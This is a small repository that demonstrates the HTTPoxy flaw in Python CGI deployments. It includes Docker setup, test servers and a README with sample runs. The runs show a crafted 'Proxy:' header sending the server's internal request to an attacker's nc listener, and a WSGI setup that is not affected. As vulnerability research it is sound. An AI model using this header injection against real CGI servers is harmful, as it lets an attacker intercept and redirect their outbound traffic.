├── .gitignore ├── requirements.txt ├── .dockerignore ├── wsgi.dockerfile ├── cgi.dockerfile ├── apache2.conf ├── server.wsgi ├── server.cgi └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | *.log 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | -------------------------------------------------------------------------------- /.dockerignore: -------------------------------------------------------------------------------- 1 | *.log 2 | .idea 3 | *.pyc 4 | -------------------------------------------------------------------------------- /wsgi.dockerfile: -------------------------------------------------------------------------------- 1 | FROM grahamdumpleton/mod-wsgi-docker:python-3.5-onbuild 2 | MAINTAINER Dominic Scheirlinck 3 | 4 | COPY . . 5 | 6 | CMD [ "server.wsgi" ] 7 | -------------------------------------------------------------------------------- /cgi.dockerfile: -------------------------------------------------------------------------------- 1 | FROM eboraas/apache:latest 2 | 3 | RUN mkdir -p /usr/local/share/httpoxy 4 | WORKDIR /usr/local/share/httpoxy 5 | 6 | RUN apt-get update && apt-get install -y \ 7 | python \ 8 | python-pip \ 9 | && rm -rf /var/lib/apt/lists/* 10 | 11 | RUN pip install requests 12 | RUN a2enmod cgid 13 | COPY apache2.conf /etc/apache2/apache2.conf 14 | 15 | COPY server.cgi ./httpoxy 16 | -------------------------------------------------------------------------------- /apache2.conf: -------------------------------------------------------------------------------- 1 | # Standard apache stuff 2 | 3 | ServerName cgi-test 4 | Mutex file:${APACHE_LOCK_DIR} default 5 | PidFile ${APACHE_PID_FILE} 6 | Timeout 300 7 | KeepAlive On 8 | MaxKeepAliveRequests 100 9 | KeepAliveTimeout 5 10 | User ${APACHE_RUN_USER} 11 | Group ${APACHE_RUN_GROUP} 12 | HostnameLookups Off 13 | ErrorLog ${APACHE_LOG_DIR}/error.log 14 | LogLevel warn 15 | IncludeOptional mods-enabled/*.load 16 | IncludeOptional mods-enabled/*.conf 17 | Include ports.conf 18 | LogFormat "%v:%p %h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" vhost_combined 19 | LogFormat "%h %l %u %t \"%r\" %>s %O \"%{Referer}i\" \"%{User-Agent}i\"" combined 20 | LogFormat "%h %l %u %t \"%r\" %>s %O" common 21 | LogFormat "%{Referer}i -> %U" referer 22 | LogFormat "%{User-agent}i" agent 23 | 24 | 25 | Options +ExecCGI 26 | Allow from all 27 | 28 | 29 | 30 | ServerAdmin webmaster@localhost 31 | DocumentRoot /var/www/html 32 | ScriptAlias "/" "/usr/local/share/httpoxy/" 33 | ErrorLog ${APACHE_LOG_DIR}/error.log 34 | CustomLog ${APACHE_LOG_DIR}/access.log combined 35 | 36 | -------------------------------------------------------------------------------- /server.wsgi: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | import os 4 | 5 | if sys.version_info < (3,): 6 | def b(x): 7 | return x 8 | else: 9 | import codecs 10 | 11 | def b(x): 12 | return codecs.latin_1_encode(x)[0] 13 | 14 | 15 | def application(environ, start_response): 16 | status = '200 OK' 17 | 18 | r = requests.get("http://example.com/") 19 | 20 | output = """ 21 | Made internal subrequest to http://example.com/ and got: 22 | os.environ[HTTP_PROXY]: %(proxy)s 23 | os.getenv('HTTP_PROXY'): %(getenv-proxy)s 24 | wsgi Proxy header: %(wsgi-env-proxy)s 25 | status code: %(status)d 26 | text: %(text)s 27 | """ % { 28 | 'proxy': os.environ['HTTP_PROXY'] if 'HTTP_PROXY' in os.environ else 'none', 29 | 'getenv-proxy': os.getenv('HTTP_PROXY', 'none'), 30 | 'wsgi-env-proxy': environ['HTTP_PROXY'] if 'HTTP_PROXY' in environ else 'none', 31 | 'status': r.status_code, 32 | 'text': r.text 33 | } 34 | 35 | response_headers = [('Content-type', 'text/plain'), 36 | ('Content-Length', str(len(b(output))))] 37 | 38 | start_response(status, response_headers) 39 | 40 | return [b(output)] 41 | -------------------------------------------------------------------------------- /server.cgi: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | 3 | import requests 4 | import os 5 | import sys 6 | from wsgiref.handlers import CGIHandler 7 | 8 | if sys.version_info < (3,): 9 | def b(x): 10 | return x 11 | else: 12 | import codecs 13 | 14 | def b(x): 15 | return codecs.latin_1_encode(x)[0] 16 | 17 | 18 | def application(environ, start_response): 19 | status = '200 OK' 20 | 21 | r = requests.get("http://example.com/") 22 | 23 | output = """ 24 | Made internal subrequest to http://example.com/ and got: 25 | os.environ[HTTP_PROXY]: %(proxy)s 26 | os.getenv('HTTP_PROXY'): %(getenv-proxy)s 27 | wsgi Proxy header: %(wsgi-env-proxy)s 28 | status code: %(status)d 29 | text: %(text)s 30 | """ % { 31 | 'proxy': os.environ['HTTP_PROXY'] if 'HTTP_PROXY' in os.environ else 'none', 32 | 'getenv-proxy': os.getenv('HTTP_PROXY', 'none'), 33 | 'wsgi-env-proxy': environ['HTTP_PROXY'] if 'HTTP_PROXY' in environ else 'none', 34 | 'status': r.status_code, 35 | 'text': r.text 36 | } 37 | 38 | response_headers = [('Content-type', 'text/plain'), 39 | ('Content-Length', str(len(b(output))))] 40 | 41 | start_response(status, response_headers) 42 | 43 | return [b(output)] 44 | 45 | if __name__ == '__main__': 46 | CGIHandler().run(application) 47 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Python HTTPoxy Vulnerability under CGI 2 | 3 | Python is not usually deployed under CGI. But there are guides that provide for CGI as a deployment 4 | mechanism of last resort. e.g. http://flask.readthedocs.io/en/latest/deploying/cgi/ 5 | 6 | When using something like wsgiref.handlers.CGIHandler, the os.environ map is polluted by CGI values, 7 | including HTTP_PROXY. 8 | 9 | Run `./build` to get started 10 | 11 | There are two test cases: 12 | 13 | * cgi (vulnerable), and 14 | * wsgi (not vulnerable) 15 | 16 | ## Example run 17 | 18 | ### cgi 19 | 20 | ``` 21 | Testing: cgi/apache... 22 | Testing done. 23 | 24 | 25 | Here's the curl output from the curl client 26 | % Total % Received % Xferd Average Speed Time Time Time Current 27 | Dload Upload Total Spent Left Speed 28 | 100 59 100 59 0 0 76 0 --:--:-- --:--:-- --:--:-- 76 29 | A server error occurred. Please contact the administrator. 30 | 31 | Tests finished. Result time... 32 | Here is the output from the cgi program and apache logs: 33 | ./build: line 78: 3067 Terminated nc -v -l 12345 > ./cgi-mallory.log 2>&1 34 | ==> /var/log/apache2/access.log <== 35 | 172.17.0.1 - - [02/Jul/2016:08:18:11 +0000] "GET /httpoxy HTTP/1.1" 500 246 "-" "curl/7.35.0" 36 | 37 | ==> /var/log/apache2/error.log <== 38 | return request('get', url, **kwargs) 39 | File "/usr/lib/python2.7/dist-packages/requests/api.py", line 49, in request 40 | return session.request(method=method, url=url, **kwargs) 41 | File "/usr/lib/python2.7/dist-packages/requests/sessions.py", line 457, in request 42 | resp = self.send(prep, **send_kwargs) 43 | File "/usr/lib/python2.7/dist-packages/requests/sessions.py", line 569, in send 44 | r = adapter.send(request, **kwargs) 45 | File "/usr/lib/python2.7/dist-packages/requests/adapters.py", line 407, in send 46 | raise ConnectionError(err, request=request) 47 | ConnectionError: ('Connection aborted.', BadStatusLine("''",)) 48 | 49 | ==> /var/log/apache2/other_vhosts_access.log <== 50 | 51 | 52 | And here is what the attacker got (any output other than a listening line here means trouble) 53 | Listening on [0.0.0.0] (family 0, port 12345) 54 | Connection from [172.17.0.3] port 12345 [tcp/*] accepted (family 2, sport 44423) 55 | GET http://example.com/ HTTP/1.1 56 | Host: example.com 57 | Connection: keep-alive 58 | Accept-Encoding: gzip, deflate 59 | Accept: */* 60 | User-Agent: python-requests/2.4.3 CPython/2.7.9 Linux/3.13.0-85-generic 61 | 62 | end of trouble 63 | ``` 64 | 65 | ### wsgi 66 | 67 | ``` 68 | Testing: wsgi/apache 69 | Testing done. 70 | 71 | 72 | Here's the curl output from the curl client 73 | * Hostname was NOT found in DNS cache 74 | * Trying 127.0.0.1... 75 | % Total % Received % Xferd Average Speed Time Time Time Current 76 | Dload Upload Total Spent Left Speed 77 | 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 127.0.0.1 (127.0.0.1) port 2083 (#0) 78 | > GET / HTTP/1.1 79 | > User-Agent: curl/7.35.0 80 | > Host: 127.0.0.1:2083 81 | > Accept: */* 82 | > Proxy: 172.17.0.1:12345 83 | > 84 | < HTTP/1.1 200 OK 85 | < Date: Sat, 02 Jul 2016 07:05:14 GMT 86 | * Server Apache is not blacklisted 87 | < Server: Apache 88 | < Content-Length: 1485 89 | < Connection: close 90 | < Content-Type: text/plain 91 | < 92 | { [data not shown] 93 | 100 1485 100 1485 0 0 3578 0 --:--:-- --:--:-- --:--:-- 3586 94 | * Closing connection 0 95 | 96 | Made internal subrequest to http://example.com/ and got: 97 | os.environ[HTTP_PROXY]: none 98 | os.getenv('HTTP_PROXY'): none 99 | wsgi Proxy header: 172.17.0.1:12345 100 | status code: 200 101 | text: 102 | 103 | 104 | Example Domain 105 | 106 | 107 | 108 | 109 | 140 | 141 | 142 | 143 |
144 |

Example Domain

145 |

This domain is established to be used for illustrative examples in documents. You may use this 146 | domain in examples without prior coordination or asking for permission.

147 |

More information...

148 |
149 | 150 | 151 | 152 | 153 | 154 | Tests finished. Result time... 155 | Here is the nginx logs (containing output from the wsgi program) 156 | ./build: line 56: 26424 Terminated nc -v -l 12345 > ./wsgi-mallory.log 2>&1 157 | [Sat Jul 02 07:05:09.264581 2016] [mpm_event:notice] [pid 15:tid 139675532297984] AH00489: Apache/2.4.20 (Unix) mod_wsgi/4.5.2 Python/3.5.1 configured -- resuming normal operations 158 | [Sat Jul 02 07:05:09.264934 2016] [core:notice] [pid 15:tid 139675532297984] AH00094: Command line: 'httpd (mod_wsgi-express) -f /tmp/mod_wsgi-localhost:80:0/httpd.conf -E /dev/stderr -D MOD_WSGI_MPM_ENABLE_EVENT_MODULE -D MOD_WSGI_MPM_EXISTS_EVENT_MODULE -D MOD_WSGI_MPM_EXISTS_WORKER_MODULE -D MOD_WSGI_MPM_EXISTS_PREFORK_MODULE -D FOREGROUND' 159 | 160 | 161 | And here is what the attacker got (any output other than a listening line here means trouble) 162 | Listening on [0.0.0.0] (family 0, port 12345) 163 | end of trouble 164 | ``` 165 | 166 | ## Results 167 | 168 | ### wsgi not vulnerable 169 | 170 | Because the user-supplied values are kept in a separate wsgi 'environ' map, wsgi is not 171 | vulnerable. `os.environ['HTTP_PROXY']` remains unchanged when a `Proxy: foo` header is sent. 172 | 173 | ### cgi vulnerable 174 | 175 | When using the `CGIHandler` in `wsgiref.handlers`, and deploying your application with a standard 176 | CGI server, os.environ['HTTP_PROXY'] is a user-controlled value, and should not be trusted. 177 | 178 | requests trusts this value, and configures it as the proxy. The internal request to example.com ends up 179 | proxied at an address of the attacker's choosing. 180 | --------------------------------------------------------------------------------